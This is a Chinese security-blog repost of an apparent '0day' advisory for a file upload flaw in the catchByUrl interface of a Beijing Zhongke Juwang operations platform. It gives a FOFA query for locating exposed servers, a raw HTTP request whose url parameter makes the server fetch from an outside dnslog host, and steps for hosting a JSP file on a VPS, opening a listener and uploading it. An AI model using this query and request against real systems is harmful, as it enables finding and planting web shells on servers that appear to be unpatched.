北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

admin
admin
admin
104956
文章
87
评论
2024年5月7日14:08:30评论29 views字数 455阅读1分31秒阅读模式
资产测绘北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

fofa: title="一体化运营平台" || body="thirdparty/ueditor/WordPaster"

北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

漏洞复现

GET /*/*/*/*?url=http://fo1p3p.dnslog.cn HTTP/1.1Host: Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Connection: closeCache-Control: max-age=0

北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

dnslog响应

北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

将jsp文件上传vps后开启监听，使用payload上传文件

北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

上传文件位置

北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

 

原文始发于微信公众号（银遁安全团队）：【0day】北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月7日14:08:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   北京中科聚网一体化运营平台catchByUrl接口存在文件上传漏洞https://cn-sec.com/archives/2700479.html

发表评论

匿名网友 填写信息